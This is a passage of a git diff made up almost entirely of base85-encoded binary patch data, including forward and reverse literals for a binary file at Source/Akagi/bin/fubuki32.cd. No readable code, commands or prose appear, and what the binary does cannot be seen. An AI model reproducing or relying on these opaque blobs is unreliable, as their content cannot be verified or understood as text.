z>ci&b^MGNqg;1s~Vg+lbt?;Yd*!a=HJVGaC7OHM=xf7Pn=`aRzg@2|krFwsV$*e@T zbJ?$8-GmeuGFtd?-KKK+&4n>w!euKKI{Kj50(x4vo{xZG!iaSjB)Vzt-q|ze%ogYY zx3UO@ErPdSR;~Hq{C)3Xl$ESRy<0aY-1c**%*O!0+RF=2omwPmYpJv}l1c7n!iNjK zO@>+<+=jB}{+KlJ!$S*{EdYamo6xMQvR!uBQG4QE#wju-_LXUKfcyY3Wx|&^6dhWD zYv$Qok6hSrA8R{h^@lTCwmE14L7$ZhdENI$@ZG*U zHr<(JSH!{li(U#38O9hZ$rxL1fnuapnyf4funX)FqU7C|K(WezS{+I%8IWeJFScyh^I@%p3uY}M zw;bHibLOjD;6(*^R;v2t!uVj*qT?up(YR+Y`02@x!Ix2jDBGj_Y1m3S~qLf ztr@mq*s)>2$`6o4TiI^Cx%-OD-Y~Do#*w|~>ty}+Wv#?X*{|jR+IJdmDxm(E0 z{4hqYhe$dtFtclw{af_|*rj0O@dp-TTbgaWX>hS&l!a1cEBgNK#Qzm$q?sT^!hs7F kc@H%xw=Ge{?3dBuvFwhPBQ>^R+^~06&4@SS$NCAaZ7t+k#Q*>R diff --git a/Source/Akagi/bin/fubuki32.cd b/Source/Akagi/bin/fubuki32.cd index d60980845b435b846149743b1a2776bc81066e97..78e2bc9cde4021cc6d62816ab34ff39b6da83257 100644 GIT binary patch literal 11903 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 F{|~ho7ZLyf literal 11894 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 